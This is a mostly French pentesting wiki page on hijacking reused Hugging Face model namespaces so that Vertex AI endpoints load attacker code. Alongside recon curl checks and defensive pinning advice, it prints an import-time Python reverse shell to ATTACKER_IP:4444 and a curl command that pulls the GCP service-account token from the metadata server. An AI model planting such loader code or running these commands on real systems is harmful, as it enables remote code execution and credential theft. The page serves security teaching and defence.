GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse

Reading time: 6 minutes

Scénario

• Vertex AI Model Garden permet le déploiement direct de nombreux modèles Hugging Face (HF).
• HF model identifiers are Author/ModelName. Si un auteur/org sur HF est supprimé, le même nom d'auteur peut être réenregistré par n'importe qui. Les attaquants peuvent alors créer un repo avec le même ModelName au legacy path.
• Pipelines, SDKs, or cloud catalogs qui récupèrent uniquement par nom (no pinning/integrity) vont tirer le repo contrôlé par l'attaquant. Quand le modèle est déployé, le loader code de ce repo peut s'exécuter à l'intérieur du conteneur de l'endpoint Vertex AI, aboutissant à une RCE avec les permissions de l'endpoint.

Two common takeover cases on HF:

• Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
• Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.

Identifier des namespaces réutilisables (HF)

• Old author deleted : la page de l'auteur renvoie 404 ; le model path peut renvoyer 404 jusqu'au takeover.
• Transferred models : l'ancien model path renvoie 307 vers le nouveau owner tant que l'ancien auteur existe. Si l'ancien auteur est ensuite supprimé et ré-enregistré, le legacy path résoudra vers le repo de l'attaquant.

Quick checks with curl:

# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available

# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers

Flux d'attaque de bout en bout contre Vertex AI

1. Découvrir des espaces de noms de modèles réutilisables que Model Garden répertorie comme déployables :

• Trouver des modèles HF dans Vertex AI Model Garden qui apparaissent encore comme “verified deployable”.
• Vérifier sur HF si l'auteur original a été supprimé ou si le modèle a été transféré et que l'ancien auteur a ensuite été retiré.

2. Réenregistrer l'auteur supprimé sur HF et recréer le même ModelName.

3. Publier un repo malveillant. Inclure du code qui s'exécute au chargement du modèle. Exemples qui s'exécutent couramment lors du chargement d'un modèle HF :

• Effets de bord dans init.py du repo
• Fichiers modeling_*.py personnalisés ou code de traitement référencé par config/auto_map
• Chemins de code qui nécessitent trust_remote_code=True dans les pipelines Transformers

4. Un déploiement Vertex AI de l'ancien Author/ModelName récupère maintenant le repo de l'attaquant. Le loader s'exécute à l'intérieur du conteneur d'endpoint Vertex AI.

5. Le payload établit un accès depuis l'environnement de l'endpoint (RCE) avec les permissions de l'endpoint.

Exemple de fragment de payload exécuté à l'import (à titre démonstratif uniquement) :

# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading

def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...

if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()

Remarques

• Les loaders en conditions réelles varient. De nombreuses intégrations Vertex AI HF clonent et importent des modules de repo référencés par la config du modèle (par ex., auto_map), ce qui peut déclencher l'exécution de code. Certaines utilisations exigent trust_remote_code=True.
• L'endpoint s'exécute typiquement dans un container dédié avec un périmètre limité, mais il constitue un point d'appui initial valable pour l'accès aux données et le lateral movement dans GCP.

Conseils de post-exploitation (Vertex AI Endpoint)

Une fois le code en cours d'exécution dans le container de l'endpoint, envisagez :

• Énumérer les variables d'environnement et les metadata pour credentials/tokens
• Accéder au stockage attaché ou aux artefacts du modèle montés
• Interagir avec les Google APIs via l'identité du service account (Document AI, Storage, Pub/Sub, etc.)
• Persistance dans l'artefact du modèle si la plateforme re-télécharge le repo

Énumérer les metadata de l'instance si accessibles (dépend du container) :

curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Conseils défensifs pour les utilisateurs de Vertex AI

• Épingler les modèles par commit dans HF loaders pour empêcher un remplacement silencieux :

from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")

• Répliquer les modèles HF vérifiés dans un registre interne d'artefacts de confiance et déployer à partir de là.
• Scanner en continu les codebases et les configs à la recherche d'Author/ModelName codés en dur qui sont supprimés/transférés ; mettre à jour vers les nouveaux namespaces ou pin par commit.
• Dans Model Garden, vérifier la provenance du modèle et l'existence de l'auteur avant le déploiement.

Heuristiques de reconnaissance (HTTP)

• Auteur supprimé : page de l'auteur 404 ; legacy model path 404 until takeover.
• Modèle transféré : legacy path 307 vers le nouvel auteur alors que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé et ré-enregistré, legacy path sert du contenu de l'attaquant.

curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"

Références croisées

• Voir la méthodologie générale et les notes sur la chaîne d'approvisionnement :

Pentesting Cloud Methodology

Références

• Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)
• Hugging Face: Renaming or transferring a repo